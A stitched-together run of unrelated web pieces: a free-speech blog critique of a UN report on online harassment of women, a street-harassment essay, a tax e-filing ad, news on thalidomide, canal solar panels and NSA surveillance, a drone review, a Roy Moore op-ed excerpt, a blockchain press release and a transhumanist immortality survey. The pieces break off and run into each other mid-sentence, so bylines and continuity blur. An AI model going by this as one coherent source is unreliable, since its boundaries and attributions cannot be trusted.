The report contains rhetorical references to the potential conflict between free speech and policing online conduct:
In the context of cybercrime, stakeholders, including the UN system have noted the need to balance rights. Groups such as APC have cautioned that in the name of spurious measures to “protect” women online we need to be weary of censorship, and that efforts should strive to “balance rights to privacy, freedom of expression and freedom from violence and harassment for all individuals in constitutional, civil and criminal law.”
That's a general value statement, not a policy. But it implies a non-American understanding of rights. It invokes Censorship Trope Five: balancing speech and other rights. Other countries take an occasionally ad-hoc "balancing" approach to speech — that in any particular circumstance whether speech is protected depends on whether the right to speak is outweighed by some other interest. The American approach recognizes categories of unprotected speech (like true threats) but forbids the government from "balancing" speech outside those categories. So: unsurprisingly, the Commission is taking an international approach to speech rather than the American one I support.
Concerns About the Broadband Commission's Specific Policies
I suspect some people will characterize the report as advocating censorship. That's a misleading characterization. There are UN reports that openly advocate for abandoning American-style free speech norms and "balancing" free expression with various rights. This isn't such a report; it's not advocating for broad speech codes. The report spends most of its time focusing on progress within existing frameworks. But it does have some proposals that trouble me as a free speech advocate.
The report proposes a "multi-level approach" to online threats against women, made up of "sensitization" (that is, changing cultural norms about what conduct is socially acceptable), "safeguards" (working with industry to develop methods of protecting people from online threats) and "sanctions and compliance" — where the action is.
Here's the parts that are worrying.
First, rhetorically, the report advocates a "zero tolerance for violence against women" mantra. I understand and share the anti-violence sentiment, but experience teaches that framing a response to a problem as "zero tolerance" leads to terrible results. That's not a problem with "women's issues," it's a problem with any perceived social ill. Telling people to take a "zero tolerance" approach effectively tells them to suspend critical judgment when addressing a problem. It doesn't lead to treating a problem seriously; it leads to treating a problem anxiously. When applied to something as complicated as the internet, that's potentially disastrous.
Second, the report advocates building relationships with private companies and helping them to develop methods to deter, stop, and report online threats. That's fine; private companies are private and are not bound by the First Amendment. Twitter is no more bound to tolerate online douchebaggery than Nordstrom is to let me shop naked. But the report suggests that the Commission (as one would expect) doesn't really grok private industry. It seems to envision a partnership of mutual values, as opposed to a partnership that persuades private industry that it is in their economic interest to prevent online threats and harassment. More alarmingly, the report seems to advocate government regulations requiring online platforms to take particular approaches to harassment prevention. The devil there could be in the details: regulations could easily amount to content-based censorship.
Third, I believe the report does not sufficiently consider how the industry measures it advocates can be used to suppress speech, including (perhaps even especially) women's speech. The call for more transparency in how online platforms implement anti-harassment programs is sensible. But nobody ever build an automatic system that internet users can't manipulate. Anti-harassment protocols will always be used disingenuously. That doesn't mean industry shouldn't try; it means there should be more critical thinking about whether they will help or hurt. I'm particularly concerned about pushing industry to unmask anonymous speakers more easily, a terrible idea that I think will more promote harassment than prevent it. The report refers approvingly to some such measures without, I think, adequate attention to their risks to free expression and to safety.
Fourth, the report makes gratuitous and controversial claims about the dangerousness of expression. Specifically, it is receptive (credulously, I submit) to the notion that there's a causal relationship between video game and movie violence and real-world violence:
Core roots of mainstreaming violence. There is widespread representation of VAWG in mainstream culture, including in contemporary and popular music, movies, the gaming industry and the
general portrayal of women in popular media. Recent research on how violent video games are turning children, mostly boys, into ‘killing zombies’ are also a part of mainstreaming violence. And while the presentation and analysis of this research is beyond the scope of this paper, the links to the core roots of the problem are very much in evidence and cannot be overlooked.
I'm not saying that proposition has no evidence supporting it, but at a minimum the evidence is controversial and subject to question. It's troubling that a UN report would present such a one-sided and frankly alarmist view of an issue so directly connected to speech.
Fifth, in reviewing various responses to online harassment, the report is insufficiently focused on the distinction between plausible laws and implausible laws, noting them both approvingly. But all laws are not alike. For instance, the report approvingly cites "revenge porn" laws. But some such laws are so badly drafted that their drafters have conceded defeat. In citing authorities, the report does not attempt to distinguish between advocates of revenge porn laws who attempt to frame laws that will pass constitutional muster and advocates who are effectively seeking to change legal and constitutional norms to accommodate their revenge porn laws. The distinction is meaningful, and the report's uncritical approach to content-based censorship proposals concerns me. Even when it appears to be rhetorical rather than substantive (like the introduction's puzzling reference to "blasphemous libel" as a form of violence against women), it's a danger sign.
Be Skeptical
The report is not the orgy of censorship that ideological enemies will claim. It's a thoughtful approach to a serious problem. But careful examination of any resulting policies is warranted.
Postscript: Scott Greenfield not unreasonably asks how the Commission defines violence or threats against women. I don't think it seriously attempts to do so. It lists some undefined subcategories of conduct that can be violence. This would be more of a concern to me if the report proposed specific laws against undefined violence. Once the Commission attempts a definition, or offers a specific policy that requires a definition, I'll critique it.
Last 5 posts by Ken WhiteAfter reading Emily Heist Moss’ viral piece about street harassment, Liam Killeen shared it with his group of guy friends in hopes of changing their behavior.
Last month, an article written by Emily Heist Moss titled “A Letter To The Guy Who Harassed Me Outside The Bar” made its way to my inbox. It was sent to me by a young woman I recently met at a bar, on a night when my friends were harassing hers.
It was early December, and I was at a Toronto bar with a group of six guys I’ve known since I was a teenager. Among us, there are guys who have started their own tech companies, a professional hockey player, a financial advisor, and a politician. We are grown-ups, we are established, and for the most part, we make good decisions. But when we’re together outside of the office, we can get carried away, and it feels like we’re in high school again.
On this particular evening, I was waiting at the bar to order a drink, and was accidentally elbowed by a woman in her mid-20s. She turned to apologize to me, and seeing as it appeared we were going to be waiting for a while to get the bartender’s attention, we started chatting. We went through all of the superficial bar talk: “What’s your name?” “Where are you from?” “What do you do?” I learned that she was there with a group of eight women, attending a going away party for a friend who was moving out of town. Eventually, we got our drinks and headed back to our respective groups.
By the time last call rolled around hours later, my friends and I were drunk. We got ready to leave, paid our tab, grabbed our jackets, and made our way toward the exit. At this point, most of the people from inside the bar were now waiting on the sidewalk, trying to hail cabs. We were trying to figure out our next move when a group of women came outside to do the same. This is when the catcalling began. My friends thought these women were attractive, and chose to verbalize it.
I can proudly say that I’ve never taken part in this behavior. Yet I’ve witnessed it a million times, and have never once intervened. I’ve thought to myself: “It’s harmless, right?” and “There’s nothing wrong with just being a spectator.” I know now that I was wrong on both counts. My friends may not have been vulgar like many of the men Emily described, but they were certainly persistent. The young woman I’d met earlier in the evening was part of this group. While two of her friends seemed to be enjoying the attention, the rest were looking increasingly uncomfortable as it continued, and she looked mortified. I was able to wrangle my friends into two cabs, and before we left, I went to apologize to the young woman I’d met earlier in the evening. She thanked me for stepping in, we exchanged business cards, and went our separate ways.
A few days after this all happened, she and I began e-mailing each other. I apologized, again, for the way my friends were acting that night, and much to my dismay, she said: “We’re used to it.” Suddenly, it was different. Rather than a situation involving a group of random men hitting on a group of random women, I now knew one of them. She had a name, and, unlike my friends, she remembered every second of it. She also remembers every other time it has happened to her, every weekend, running errands, and at her gym. The unwanted attention at the latter caused her to join an all-female gym. I was shocked.
When she sent me the link to Emily’s article, I read it, understood it, and wanted to share it. I sent it to the guys I was out with that night, assuming most wouldn’t read it. When a few of us went out for a drink after playing hockey later that night, I decided to bring it up. And surprisingly, they had all read it.
We started to talk about the night in question, outside of the bar, and what was wrong with it. I told them it was pretty obvious that most of the women were really uncomfortable with the attention they were receiving from our group. I asked the guys what they would do if they came outside of a bar and saw this happening to their sisters (four of them have younger sisters), and the decision was unanimous: The offending males would probably be leaving without some teeth.
I pressed the issue, and asked them why it was terrible if it were their family members, but a non-issue on the night we were out. No one had a really good answer, but the responses included “We were drunk,” “It doesn’t matter, we’ll never see them again,” and then the final explanation: “We don’t even know them!”
Somehow, alcohol combined with the women’s anonymity helped them justify to themselves the idea that no one was really bothered. What I discovered though is that these guys all agreed that it’s not OK to treat women the way they did. As a group, we have plenty of female friends, and go out with them often. I asked if it would be OK to harass our group of friends in the same manner. It was unanimous: No, it was not OK.
Then the conversation moved to the issue of physical safety. Because I now knew one of these women, she had told me how they felt that night. They were approached by a strange bunch of drunk guys and they had no clue how it was going to turn out. While I’m confident my friends wouldn’t physically hurt anyone, these women didn’t know that. They were just enjoying their night until a group of men decided that they should merge after-parties at someone’s private residence. When the women resisted, the guys tried harder. How were these women to know if we would take no for an answer? What right did we have to interrupt their otherwise fun night with unsolicited attention and catcalling?
The truth is, we had absolutely no right. And when names were put to these women, my friends couldn’t apologize enough. They now think about their behavior and how others perceive it. No one is perfect, and I’m sure they’ll slip here and there, as humans do, but I’m so happy that we were able to have this conversation.
I’ve heard the quote, “A stranger is just a friend waiting to happen,” and in some cases it may be true. But it should never be confused with “A stranger is just a friend waiting to be harassed.”
Liam Killeen is an Artist Manager living in Toronto, Ontario. He likes pugs and hockey.
Related Links:Do you earn more than 5 lac monthly? So, you need to E filing of income tax return. But what method you choose to file your income tax? The old offline method in which you need to go out of your home, talk to accountants, assemble the documents and still not safe? Or the new online method in which you are provided with total guidance and safety and no headaches at all? Well the choice is yours!
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Here are the reasons why online E filing of income tax return is better than offline:
Filing tax returns online is handy. The TaxReturnWala.com won’t take more than 15 minutes to enter all of the important points and upload the return. Following are the basics benefits you take with e-filing.
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E-filing is the nice method to file a correct tax return. The tax application helps you avoid mistakes by doing the mathematics for you. It courses you via each component to your tax return. It is so much less complicated than doing your taxes by means of hand and mailing paper tax forms.
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Payment choices are so much in e filing of income tax The taxes you owe would be able to e-file early and installed a computerized payment on any day until the April 18 cut-off date. That you could pay electronically from your bank account. You also have many other options to pay, including digital dollars withdrawal or fee by way of debit or credit card. Consult with TaxReturnWala.com and get this done easily and efficiently.The drug of good and evil
Thalidomide’s unusual mechanism of action is starting to give researchers hints as to why it can save or wreck lives
By Rajendrani Mukhopadhyay
Thalidomide is a molecule with a split personality. Notorious as the drug that caused thousands of babies to be born with grotesque deformities in the 1950s, it now has become the frontline defense for some cancer and immune-compromised patients. Until recently, researchers did not understand how this single molecule could have such extreme effects. But emerging research is showing that thalidomide acts at the molecular level in an unusual way, which could explain its Dr. Jekyll-and-Mr. Hyde effects.
Over the past four years, several groups have shown that thalidomide and drugs like it bind to a component in a ubiqutin ligase complex. Upon binding, thalidomide and its structural analogs change the proteins that the ubiquitin ligase targets for degradation.
The fact that thalidomide modifies interactions between proteins has been a revelation. Protein-protein interactions “have always been considered difficult to target with small molecules,” says Nicolas Thomä at the Friedrich Miescher Institute for Biomedical Research in Switzerland. When an established drug like thalidomide was shown to affect protein-protein interactions, Thomä adds, “that immediately caught our attention.”
As William Kaelin, a Howard Hughes Medical Institute investigator at the Dana-Farber Cancer Institute, notes, thalidomide has made researchers rethink how they can approach development of therapeutics. He says, “Thalidomide opens up a new |
actually finding any updates to the original story. So, for now, here are just some more details from The Hindu Business Line:
The pilot project has been developed on a 750-m stretch of the canal by Gujarat State Electricity Corporation (GSECL) with support from Sardar Sarovar Narmada Nigam Ltd (SSNNL), which owns and maintains the canal network…. The pilot project will generate 16 lakh units of clean energy per annum and also prevent evaporation of 90 lakh litres of water annually from the canal…. The cost of per megawatt of solar power, in this case, is likely to be much less than the estimated Rs 10-11 crore, as the two banks of the canal will be used to cover the canal by installing solar power panel and the government will not have to spend much on creating basic infrastructure, including land acquisition…. When completed, the SSNNL’s canal network will be about 85,000 km long. Assuming a utilisation of only 10 per cent of the existing canal network of 19,000 km, it is estimated that 2,200 MW of solar power generating capacity can be installed by covering the canals with solar panels. This also implies that 11,000 acres of land can be potentially conserved along with about 2,000 crore litres of water saved per annum.
Seems like a logical combination.
Don't forget to follow Solar Love on Facebook, Twitter, Google+, and/or RSS!! Do it for the sun.People protest outside the Department of Justice in Washington, DC, against the NSA surveillance program on Friday, Jan. 17, 2014.
WASHINGTON — Rep. C.A. Dutch Ruppersberger, the top Democrat on the House Intelligence Committee, plans to introduce bipartisan legislation Tuesday that would end the National Security Agency’s bulk collection of U.S. telephone and email data — the surveillance program that has drawn fire from privacy advocates, civil libertarians and some lawmakers since it was revealed last year.
Under a proposal developed by Maryland’s Ruppersberger and Michigan’s Rep. Mike Rogers, the Republican chairman of the intelligence committee, the government would have to rely on records kept by private telecommunications companies for information now gathered by the NSA.
Before the government could see those records, it would have to satisfy a secret federal court that it had established procedures that ensured that it only would obtain information associated with legitimate terrorist and foreign intelligence targets. It also would need to satisfy the Foreign Intelligence Surveillance Court that it had established limits on how it could handle and retain the information.
With court approval, the government could direct companies to turn over records. In each case, after issuing its request, it would have to submit evidence supporting its request to the court for review. If the court disapproved, it could order the government to purge any information it received.
“We’re going to make sure the court reviews every single, individual case,” Ruppersberger said Monday.
President Barack Obama discussed ending the bulk collection of telephone records during a speech in January. The New York Times reported late Monday that Obama was poised to unveil legislation that would do that and also make permanent the three-month-old requirement that the government receive prior approval from the court each time it wanted to query a private company’s records.
The bill to be announced Tuesday by Rogers and Ruppersberger would not require that prior approval.
Michelle Richardson, who follows national security for the American Civil Liberties Union, called it “a step backward.”
“Even the president himself, on the advice of the NSA director and the attorney general and all of these national security folks, says, ‘No, we can go to the court every time and ask them for the order at the front end,’ ” Richardson said. “So there’s no reason to short-circuit that process.”
Ruppersberger, whose district includes the NSA and many of its workers, has defended the agency’s collection of “telephony metadata” — the dates and times of calls, numbers dialed, and the durations of conversations — since former contractor Edward Snowden revealed details of the program.
The NSA, which is headquartered at Fort Meade, has acknowledged collecting the metadata on calls made by millions of Americans. But it says it does not listen to the calls or record the content.
Ruppersberger said his legislation strikes a balance between individual privacy and national security. He said he was confident it would allow investigators to obtain the information they need to protect the nation from future attacks, and he hoped it would alleviate concerns about government surveillance.
He describes the bill in an op-ed piece in Tuesday’s Baltimore Sun. With court approval, the government could direct the telecommunications companies to query their databases for the information it seeks. The government would not be able to review the conversations themselves.
The Federal Communications Commission already requires telecommunications companies to keep telephone records for 18 months. Ruppersberger’s legislation would not extend that period.
The legislation also would ban the bulk collection of email and Internet metadata, firearm sales records, library records, medical records, tax returns, educational records and other sensitive personal records.
It would require the government to release all significant Foreign Intelligence Surveillance Court decisions or issue unclassified summaries of their key points. Court arguments, deliberations and decisions now are secret.
The bill’s prospects in Congress are unclear. Ruppersberger said he consulted with the White House while developing the language. It would require the approval of the full House and Senate to become law.1||September 12, 2010: Thousands of tea partiers gather in Washington D.C. for the FreedomWorks-backed 9/12 rally. The crowd is much smaller than it was in 2009 — which some tea partiers blamed on the lousy weather and Glenn Beck’s show-stealing August 28 rally in DC. ||Newscom/Zuma Press&&
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11|| ||Evan McMorris-Santoro/TPM&&
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14||FreedomWorks Chairman Dick Armey ||Jeff Malet/maletphoto.com&&
15||Larry Gatlin performs. ||Jeff Malet/maletphoto.com&&
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35||Andrew Breitbart. ||Jeff Malet/maletphoto.com&&
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44|| ||Jeff Malet/maletphoto.com&&Seattle will play host to three Copa America Centenario matches, including one of top-seeded Argentina's group stage encounters and a quarterfinal that could potentially include the United States. CONCACAF and CONMEBOL announced the tournament's four seeded teams, the sites for those teams' group stage matches and the hosts of each of the knockout stage matches on Thursday.
The full schedule of matches will not be known until the draw is conducted in early 2016, with each of the remaining 12 countries being seeded according to FIFA ranking.
There had been rumors that Seattle would play host to the United States' opening match, which was also expected to be the tournament's opener. Instead, the USMNT will open at Santa Clara's Levi's Stadium. The United States will also play group stage matches at Chicago's Soldier Field (June 7) and Philadelphia's Lincoln Financial Field (June 11). If they manage to win their group -- which will be no easy task as it could include countries like Colombia, Chile or Uruguay -- the USMNT would play their quarterfinal match against the runners-up of Group B in Seattle. Brazil is the seeded teamin Group B. Houston and Chicago will host semifinals and the final will be at New Jersey's MetLife Stadium.
While a USMNT match may not come to fruition, Seattle soccer fans will get what might be an even bigger attraction: Lionel Messi-led Argentina. La Albiceleste are currently the top-ranked team in CONMEBOL and No. 2 in the world. They were also the runners-up in the 2014 World Cup and 2015 Copa America. In addition to Messi, they feature such international stars as Gonzalo Higuain, Angel Di Maria, Sergio Aguero and Carlos Tevez.
Full schedule:Eachine Fatbee FB90 review with pros and cons
Lately, due to unfavorable weather for outdoor flights, I started to play indoor with my micro FPV drones. Luckily this month I got another 3 models for review including this Eachine Fatbee FB90. Honestly, among all the micro FPV quads, FB90 has the much friendly design.
Unlike most of the mini brushed FPV drones which are powered by 1s batteries, the Fatbee FB90 is powered by 2cell Li-Po batteries (7.4v). Usually higher voltage means faster motors (RPMs), more power but also much more noise. Hopefully Eachine used adequate motors and they will not burn out after few flights.
Sponosored AD
Following the success of the TinyWhoop, Eachine announced many FPV quadcopters with ducted fan design. In order to make this approach even more attractive, FB90 aka FatBee comes with a nice bee look. BTW, in my opinion the bee alike canopy not just looks good but also protects the VTX camera and the flight controller during crashes.
Eachine FB90 features and specs
Carbon fiber airframe (90mm wheelbase);
Protective nylon canopy;
Ducted fan design;
SP Racing Evo brushed flight controller;
Cleanflight ready and Betaflight compatible;
Multiple flight modes;
3 variants of RX (PPM, SBus or DSM/DSM2/DSMX);
8520 brushed motors (2s);
520TVL HD CMOS 1/4″ camera with integrated 5.8G 25mW VTX;
Four-blade propellers;
RGB status LED lights;
About 5 minutes of flight time.
Eachine Fatbee FB90 quadcopter review
Although, I have read this FatBee it’s too fragile and noisy I was happy to accept Banggood’s offer to review it. My 7 years old son saw this model on YouTube and he liked it instantly for its design so he wanted one for himself. He also asked me to give him one of my drone backpack in order to keep his toys safely. I think we have a new RC addicted in the family 😀
I received the package after about 6 weeks after we agreed on the Eachine FB90 review. Damn long time, my son asked me almost every week whether we have to wait more to receive it.
Surely, the FB90 package is very rich. I found inside the box, besides the yellow “Fatbee” with FPV camera, the following:
2 pieces of 7.4v 400mAh Li-Po batteries (2s);
USB charging cable;
2 pieces of spare motors (CW and CCW);
1 set of four-blade spare propellers (yellow ones);
Blade removing tool;
Self adhesive Velcro tapes;
Detailed user manual.
Thanks to the yellow/black canopy, the FB90 looks more like an adorable bee than some random TinyWhoop clone. The canopy is very lightweight (less than 1g) so will not affect the overall weight.
Instead of compound eyes – hundreds of single eyes (like real bees have), the Eachine FB90 features two RGB status LEDs (one on each side). The LEDs are configurable through the CleanFlight APP.
In order to allow great impact durability, the 90mm sized (wheelbase) frame is made from carbon fiber. The FPV camera comes preinstalled on front of the frame.
Compared to other micro FPV drones which have two separate boards (flight controller and receiver), the FB90 has one single main board. Practically the RX module is integrated into the SPF3 flight controller. This 2in1 concept reduces the number of wires and the overall weight but is also limiting the possibility to switch to another TX protocol.
Motors are connected to the flight controller through connectors, which allows easy and soldering free motor replacement. The battery can be attached under the belly of the FatBee using the included Velcro tapes.
The propeller protectors are made from some very thin plastic and they seem fragile as the wings of a bee. BTW, they are also ridiculously expensive, one set costs $4.25. Big cons!
Eachine FB90 review – Camera / FPV system
The 520TVL FPV camera weights about 4g and sizes 14 x 12 x 5 mm. The specified output power of the integrated 48CH 5.8G TX is 25mW.
On top of the camera there are two control buttons. While the frontal one allows to switch between PAL and NTSC video standards, the rear one allows to change the transmission band and channel.
On the rear part there are two rows of status SMD LEDs. The upper row has 6 LEDs and shows the actual transmission band. The bottom row has 8 LEDs and shows the selected channel.
Although the FB90’s camera is one of the smallest AIO camera that I had in my hand, it offers good light handling and nice vivid colors. It looks like size does not always matter 😀
The FPV range is also quite good for such a small bird. I received good signal about 70 meters far from me (perfect for proximity park flying).
Binding the Eachine FB90 with the FS-i6 transmitter
As I previously mentioned, you can opt for 3 different RX variants (8CH S-Bus FrSky, 6CH PPM FlySky AFHDS and 6CH DSM2 Spektrum). The RX module is integrated and can not be replaced.
Thanks to the detailed user manual, even if you are new in the field, you will manage to bind the Eachine FB90 with the transmitter in no time. You just need to follow these 3 steps (for FS-i6S TX):
Go to “RX Setup” on the transmitter and set “RX Setup” to “AFHDS Mode”, then save by long pressing the “Cancel” button;
Switch ON the transmitter while you are pressing the “Bind” button;
Connect the flight battery while you short-circuit the bind pins with a screwdriver. When the bind LED (blue one) turns eternal ON, you are done.
I assigned on my FS-I6 transmitter CH5/Aux1 to “SWA” (motor arm/disarm) and CH6/Aux2 to SWC (flight mode switch).
Eachine FB90 review – First usage & Test
Immediately after I finished the binding my son wanted to test the Eachine Fatbee FB90. After I armed the motors the quad started to rise with full throttle hitting the ceiling. Our first 2 seconds of flight ended with two broken protectors and one broken propeller :(. Second try – same, on slight movement of the throttle stick the motors started to spin with full throttle.
In order to see what may be the problem I connected the Eachine FB90 to my PC and I run the CleanFlight APP. I calibrated the accelerometer and I reviewed the CH assignment.
Third attempt – finally the drone started to respond properly to my controls. It was damn noisy compared to my Eachine QX95. I read somewhere that both flight performance and flight time can be improved by using 3-leaf propellers. This mode will probably reduce also the noise.
I will update this section with flight video when I receive the new props and blade protectors.
Price–performance ratio
Build quality
Camera
Flight performance
Flight time 3.7 Eachine Fatbee FB90 review - Final words Excepting the extremely fragile blade protectors and annoying propellers which fly off easily I was pleased by this Eachine FatBee FB90. I’m planning to eliminate these inconveniences by cuting down the inductrix protection and adding better 3-leaf propellers.
Thanks to the 2s Li-Po battery the FB90 is a fast and agile little bee. The VTX camera offers enjoyable first person view flights.
If you like the nice bee design, this mini FB90 quad can be found here for $68.99 ~ 72.99 (the price difference comes from the RX version). I recommend to additionally drop into your shopping chart at least one set of propeller protectors.
What I liked
Nice design;
F3 brushed flight controller with CleanFlight (BetaFlight compatibility);
Multiple RX/TX options;
Much punch compared to 1s platforms;
Motors are equipped with connectors (easy replacement);
Included spare motors and spare battery;
Spare parts availability.
What I didn’t liked
Extremely fragile propeller protectors (thin plastic);
Propellers can pop off too easily;
Noisy;
Too heavy;
Bind pins instead of push-button.
Eachine FB90 review – Photo gallery
Banggood AD
Sponsored review by BGElfego Baca writes in the American Spectator that the threat a Republican U.S. Senator from Alabama Roy Moore would pose to establishment Republicans such as Majority Leader Mitch McConnell would not be a lack of moral character, but quite the opposite:
The most interesting question about the Alabama Senate race is why would the REPUBLICAN majority spend $30 million of precious money trying to defeat an established, conservative brand name politician in the state who is likely to mostly vote with the Republicans? After all, name recognition is half the battle, party affiliation the other half. In a state that voted 62.9% for Trump vs. 34.6% for Hillary, why not just accept a cake walk? It is a mystery…
What is the reason for this Gatling gun friendly fire? Would a nominal 52nd Republican senator really be so frightening? Say for a moment, as distasteful as it may be, that you are Senate Majority Leader Mitch McConnell, and that in order to sabotage the repeal of Obamacare you have to find another no vote beyond McCain and the female Senator from Maine. It should be easy. The aptly named Senator Flake? The traitorous Corker who enabled Iran? Once you have sided with Iran, it should be pretty easy to be a no vote on complicated tax stuff, and pretend it is for the good of the party, and of course, the country.
No, the fear of having a larger majority alone, with fewer plausible explanations for defeats and failures to investigate the crimes of the last eight years, cannot explain the panic among the Republican Establishment that Judge Roy Moore might win. You see the problem with Roy Moore is not his lack of character, but rather, the presence of his character and his demonstrable willingness to do what is called for and what is right. He believes in God. He believes in America. Like Roe v. Wade, he thinks that killing viable seven-month-old fetuses is murder. He goes by the book, the Good Book. He takes his responsibilities personally, and seriously. And therein lies the problem.ADVERTISEMENTS
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Deloitte and ConsenSys Enterprise announced today that they will work together to offer a suite of digital banking products to the financial services industry, underpinned by Blockchain technologies.
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“We look forward to this collaboration with Deloitte. This provides an opportunity to bring together our ongoing Blockchain efforts in digital identity (uPort), triple entry accounting (Balanc3), financial products (E.g. lending, bond market, escrow) and deliver customer centric exponential solutions in financial services,” said Kishore Atreya, head of consulting and digital banking at ConsenSys Enterprise. “Deloitte is treating digital transformation and innovation in financial services as a global priority and distributed systems technology is proving its potential for us and our clients” said Thomas Jankovich, Innovation Leader for Financial Services at Deloitte Consulting LLP. “Having previously designed and built digital banking propositions entirely around customers, we understand the importance of service architectures and organizational capabilities needing to be strong, flexible and nimble and Blockchain checks all the boxes.”
The collaboration combines the strategic consulting experience of Deloitte, which works with each of the top 30 banks across its member firms globally, and ConsenSys Enterprise, the largest Ethereum-centric Blockchain company in the world, which uses its Blockchain subject matter expertise to assist banks looking to accelerate their transformation.
The firms’ collaboration will focus on helping clients re-imagine the core banking environment and consulting on how Blockchain technologies can improve their traditional financial products and services, including in the lending and savings areas. By using Blockchain technology, the new digital banking framework will allow systems to be developed that can interact more reliably and securely.
Other areas of focus for the two firms’ collaboration will include creating innovations in the asset management and collateral management space, linking Blockchain and Internet of Things technologies to provide real time data and insights on physical assets, as well as extending efforts around digital identity to form the foundation of a new core-banking digital products and financial transactions.Immortality is a primary goal of many transhumanists, but not all. How many do or don’t want eternal life, and why? I recently conducted a survey - funded by Terasem Movement Inc., and fiscally sponsored by World Future Society - that queried hundreds of transhumanists on this question.
The Terasem Survey was conducted via a surveymonkey poll that was set up by my project collaborator, Teresa Dal Santo Ph.D., a Research Associate at University of California San Francisco, with expertise in conducting qualitative and quantitative studies, and specialties in research methods and statistical analysis.
Getting transhumanists to complete our poll was easy; we garnered a total of 818 respondents very quickly. My thanks to everyone who assisted us, especially:
David Orban, who notified his 2,798 Facebook friends, his 3,480 Twitter followers, and his 5,732 Google+ people-in-whose-circle-he-is
Alex Lightman who notified his 5,000 Facebook friends and his 3,500 subscribers
Rachel Haywire, editor of hplusmagazine.com, who made our survey thefeature article on July 12.
IEET also permitted me to post an announcement.
Amara Angelica declined to post a link to the survey at KurzweilAI.net, where she is Editor, due to various reasons, such as concern about privacy issues and the methodology of the survey.
The completed survey left me with about 500 pages of raw data. I will be delivering all of this info to the funder, Terasem Movement Inc., plus I’m preparing a summary for one of the Terasem Journals online. Additionally, I will be publishing statistics and comments from the survey in multiple short sections, at IEET and the World Future Society website.
The following statistics and comments are in response to my question:
“If you don’t want immortality, what is your primary reason?”
All of the respondents are self-defined as transhumanists.
The result?
76.2% replied that they “did want immortality.”
4.6% replied that they didn’t want immortality because “the earth would be overpopulated.”
8.1% said they didn’t want immortality because of the “boredom” they feel they’d endure as a consequence.
3.7% said they didn’t want immortality because they wanted “to go to an afterlife.”
—
Many of the respondents left comments that I found extremely valuable. In my own particular case, I checked “immortality” as my choice, but after reading through the comments I had to admit that I agree with those who say they are afraid of eternity if it means living in a “silenced” or “suffering” body.
A more correct answer for myself now would be the same as the first comment below.
I recommend reading all the comments; your opinion might similarly be influenced.
Comments
I would like the option to end my life, but to be able to live for as long as I desire.
Lack of renovation in human society
If there is afterlife, I do not want immortality. If there is no afterlife, I want immortality.
I do not want to be immortal, I want to stop aging.
Wanting doesn’t get these things done; I do not view my death as a tragedy but rather accept it as the way things happen in this world.
Both the concern that the earth would be overpopulated and the sense that there is an afterlife
I am already immortal.
I don’t want immortality, but the choice of when to cease existence. Existing for infinity would be madness
Technical concerns related to memory.
Other than over-population, a fear of not having the capacity for friends and family to have it, or having their choice to be mortality. That comes with it though, loss and all.
We must each be prepared to die at the age that will most benefit humanity, eg by maintaining an ideal population profile, which probably peaks early on and then has a very long tail.
I want to have the ability to live forever, but I also want to have the option to die whenever i want to.
human life would lose its sense
dont have any
Given the finite amount of resources at our disposal, humanity could not sustain infinite growth.
transmutation into a higher form of existence.
immortality: cancer
There is no logical reason to see death as something good.
An imminent shortage of strawberry icecream due to the drought in the midwestern United States
as long as i can die when I wish (seen it all after a few hundred/thousand years, crippling pain, or to avoid the heat death of the universe) why not be immortal?
I want immortality with the option to unplug myself or whatever you want to call it. Not because of any of the reasons listed above, but because I feel that all things must go at some point in time. I feel that I too will want to see what happens afterwards.
Fear of being trapped in a silenced body
boredom earth would be overpopulated and cash
To experience death. But for some, continuity and memory MUST be present.
Fear of a rising sense of uselessness, having lived so long, no longer finding new purpose. Not so much boredom as just a sense of being lost in the world.
You can get the best out of your life and love the people around you most, when you know that death will come some time. having immortality can make you careless, and appreciate things less
fear of bordom
Constent loss of friends and loved ones.
universe is finite
I have bipolar disorder and some related problems. I think there would be value in my pattern of cognition persisting over at least a few centuries, but the depressions that accompany my disorder make it challenging to imagine continuing for so long.
My interest in tranhumanism has more to do with bettering social and other conditions on this planet while lengthening the human lifespan across the board so that people can experience what is often referred to as a complete life. In my opinion at least 100 years is a good age, but living beyond this would be fine as well. I do believe in reincarnation, although this notion is a belief that I do not think about very much but have assimilated into my layers consciousness and take for granted at this point for some reason which has alot to with intuition I think, as well camparative religion and other studies. Immortality would be fine I suppose.
I want immortality. I also want to ability to end my life when i want.
I reserve the ability to divvy
I want infinite choice; a number of years between zero and infinity
Death has it’s place. If no-one died, why do we need life?
being a burden
The loss of loved ones
It’ intestino to knowledge what means immortality. If it means that I coud remain lived without my body for a lot people, I’d like to be immortal. I intend books, arts, human espressione and not something liike esotherism or memoriies in my dear
Not to mention the fact that you would lose all traces of humanity
Being immortal is none issue. I want to be physically 30 years old when I die as 65 or 95 years old. Thats not possible medically today.
complacency, societal inequality
But I don’t necessarily think I’ll survive in my current nature or the general nature of humanity. “Surviving” will be different.
It is impossible to achieve.
Dealing with a failed culture in decline for an interminable period.
I do not think that the future will be a nice place.
I’m not sure. At some point I will probably prefer to die. It’s way more than a biologic fact, it’s a philosophical and psycological question.
Ennui
If I sharply lost mental capacity, and / or my ability to be physically mobile, even robust — I would not wish to continue on as an invalid or in a mental deficient state.
Technically every age is less then immortality. Also, in my opinion an unlimited lifespan while maintaining one’s identity is not possible. When the identity is lost, the entity holding it dies.
I’d only want to die if trapped in pain
If a medical process to change one’s species membership proves impossible, then I don’t want to extend my time living a in a human body.
Unforeseeable need to die
Unless my body can adapt with mankind’s evolution, I do not want immortality.
Life continues after death, after we leave these knowable 4 dimensions
wrong question if it is true that there is a multiverse (Stephen Hawking et al)
I would like to be immortal - that would be great!
I want an indefinitely long life but I don’t call that “immortality” which seems mystically absolute.
I prefer an abyss.
I dont think the universe is endless and I don’t want to outlive the universe / Lack of interest
I do want immortality but I want to be able to hibernate/shut down through bad/boring time periods.
Unless I can indefinitely do something that has never been done before
Indecisive.
Whether I want to be immortal or not depends on the capabilities I still posess, when I grow old. I don’t want to be immortal, if that means, that I will be sitting around in a chair, doing nothing for the rest of my life (that is eternally, or until the sun explodes, or whatever). In that case it would just be boring.
Don’t know really. Depends on whether or not Death is reversible, and also on how I’d adapt psychologically yo a long lifespan.
I do not want to simply exist forever, of course. Suffering in a body as it falls apart, with no hope of ever being myself again, would certainly make me suicidal. But if we could prevent the aging problems, I’d love to continue indefinitely.
Why repeat it all over again?
I do want immortality, as I foresee the issues that will arise finding solutions. For example, I want immortality and do not want children.
I will be happy to die once I have accomplished my dreams.
Becoming trapped in a body that deteriorates. What if the brain, even after digitalisation, continues to degrade?
Can’t extrapolate whether my self-hood can continue that long.
I want to choose my time.
Every beginning must have an end
